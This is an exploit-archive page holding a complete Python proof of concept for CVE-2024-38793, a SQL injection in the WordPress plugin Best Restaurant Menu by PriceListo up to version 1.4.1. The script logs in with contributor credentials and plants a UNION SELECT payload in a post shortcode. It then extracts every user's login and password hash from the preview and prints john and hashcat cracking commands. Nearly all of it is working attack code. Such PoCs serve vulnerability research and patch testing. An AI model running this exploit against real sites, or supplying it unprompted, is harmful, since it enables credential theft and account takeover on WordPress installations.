4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-38793.py PY
#!/usr/bin/python3

import requests
import sys
import argparse
import re 

session = requests.Session()
proxies = {}

def print_header():
    print("CVE-2024-38793 Exploit (Best Restaurant Menu by PriceListo Version <= 1.4.1) PoC")
    print("\t Requires Contributor+ Privileges on a WordPress instance with the plugin installed")
    print("\t Credit: @ret2desync")
    print("\t Will attempt to create a new post, exploit the vulnerability and extract all users usernames and password hashes")
    print("\t Example usage:")
    print('\t python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password --proxy "http://127.0.0.1:8080"')

def print_error(message):
    print("[-- ERROR --] "+message)

def preview_page_get_creds(url, postId):
    try:        
        prevNewPostReq = session.get(url + "?p="+str(postId)+"&preview=true",proxies=proxies, verify=False)    
    except Exception as e:        
        print_error("Failed to preview new post: " + url + "?p="+str(postId)+"&preview=true, cause: " + str(e))                
        sys.exit(-1)
    if not prevNewPostReq.status_code == 200:                
        print_error("Failed to preview new post, return status was " + str(prevNewPostReq.status_code))                
        sys.exit(-1)
    users = []
    usernames = re.findall('USERSTART:(.*):USEREND',prevNewPostReq.text)
    if len(usernames) < 1:
        print_error("Failed to get usernames")
        sys.exit(-1)
    passwords = re.findall('PASSSTART:(.*):PASSEND',prevNewPostReq.text)
    if len(passwords) < 1:        
        print_error("Failed to get usernames")        
        sys.exit(-1)
    for i in range(len(usernames)):
        user = {"username":usernames[i], "passhash":passwords[i]}
        users.append(user)
    print("[*] Successfully grabbed usernames and password hashes")
    return users

def save_draft_with_exploit(url, postId, nonce):
    exploit = '[brm_restaurant_menu show_items=0 groups="-1) UNION SELECT ID,CONCAT(0x5553455253544152543a,user_login,0x3a55534552454e44),CONCAT(0x5041535353544152543a,user_pass,0x3a50415353454e44),1,0,1,1 FROM wp_users;-- -" ]'
    try:
        savePostRequest = session.post(url + "index.php/wp-json/wp/v2/posts/"+str(postId)+"/autosaves", headers={'X-WP-Nonce':nonce},json={"id":postId, "title":"a","content":exploit, "status":"draft"}, proxies=proxies,verify=False)
    except Exception as e:
        print_error("Failed to save new post: " + url + "index.php/wp-json/wp/v2/posts/"+str(postId)+"/autosaves, cause: " + str(e))
        sys.exit(-1)       
    if not savePostRequest.status_code == 200:
        savePostRequest = session.post(url + "wp-json/wp/v2/posts/"+str(postId)+"/autosaves", headers={'X-WP-Nonce':nonce},json={"id":postId, "title":"ab","content":exploit, "status":"draft"},proxies=proxies,verify=False)
        if not savePostRequest.status_code == 200:
            print_error("Failed to save new post, return status was " + str(savePostRequest.status_code))        
            sys.exit(-1)
    print("[*] Successfully saved new post with exploit, post id: " + postId)

def create_new_post(url):
    try:
        getNewPostReq = session.get(url + "wp-admin/post-new.php",proxies=proxies,verify=False)
    except Exception as e:
        print_error("Failed to create new post: " + url + "wp-admin/post-new.php, cause: " + str(e))        
        sys.exit(-1)
    if not getNewPostReq.status_code == 200:        
        print_error("Failed to create new post, return status was " + str(getNewPostReq.status_code))        
        sys.exit(-1)
    postId = re.findall("name='post_ID'\svalue='(.*)'", getNewPostReq.text)
    if len(postId) < 1:
        print_error("Failed to get new post ID")
        sys.exit(-1)
    print("[*] Successfully created new post, id: " + postId[0])
    nonce = re.findall('wpApiSettings = {.*"nonce":"(.*)",',getNewPostReq.text)
    if len(nonce) < 1:
        print_error("Failed to Get Update Nonce")
        sys.exit(-1)
    return (postId[0], nonce[0])

def login(username, password, url):
    try:
        getLoginPageReq = session.get(url + "wp-login.php", proxies=proxies,verify=False)
    except Exception as e:
        print_error("Failed to get wordpress login page: " + url + "wp-login.php, cause: " + str(e))
        sys.exit(-1)
    if not getLoginPageReq.status_code == 200:
        print_error("Failed to get login page, return status was " + str(getLoginPageReq.status_code))
        sys.exit(-1)
    try:
        loginRequest = session.post(url + "wp-login.php", data={"log":username, "pwd":password},proxies=proxies,verify=False)
    except Exception as e:
        print_error("Failed to sign in to WordPress using "+ username + " " + password + ": "+ url + "wp-login.php, cause: "+ str(e))        
        sys.exit(-1)

    if loginRequest.url.endswith("wp-admin/"):
        print("[*] Successfully signed in to Wordpress using "+ username + " " + password)
    else:
        print_error("Login failed using " + username + " " + password)
        sys.exit(-1)

def main():
    global proxies
    print_header()
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target',required=True, help="WordPress URL to target, i.e. https://localhost/")
    parser.add_argument('-u', '--username', required=True, help="WordPress username of user with at least contributor privileges")
    parser.add_argument('-p', '--password', required=True, help="WordPress password for the given user")
    parser.add_argument('--proxy', required=False, help="Proxy string to use i.e. http://127.0.0.1:8080")
    parser.add_argument('-o','--outfile', required=False, help="Outfile to write user credentials (in form USERNAME:PASSWORD)")


    args = parser.parse_args()
    if not args.target[-1] == "/":
        args.target = args.target + "/"
    if args.proxy:
        proxies = {"http":args.proxy, "https":args.proxy}
    login(args.username, args.password, args.target)
    postId, nonce =create_new_post(args.target)
    save_draft_with_exploit(args.target, postId, nonce)
    users = preview_page_get_creds(args.target, postId)
    if len(users) > 0:
        print(f"[*] Found {len(users)} sets of credentials")
        if args.outfile:
            print(f"[*] Writing credentials to file {args.outfile}")
            try:
                outfile = open(args.outfile, "a")
                for user in users:                
                    outfile.write(user["username"] + ":" + user["passhash"] + "\n")
                outfile.close()
            except Exception as e:
                print_error(f"Failed to write credentials to file {args.outfile}, caused by: " + str(e))
                sys.exit(1)
            print(f"[*] Crack hashes with: \n john {args.outfile} --wordlist=<wordlist> \n hashcat -m 400 -a 0 --username {args.outfile} <wordlist>")
        else:
            print("[***                Credentials                ***]")
            for user in users:
                print(user["username"] + ":" + user["passhash"])
            print(f"[*] Crack hashes with: \n john <hashes_file> --wordlist=<wordlist> \n hashcat -m 400 -a 0 --username <hashes_file> <wordlist>")

    print("[*] Exploit completed successfully")

if __name__ == "__main__":
    main()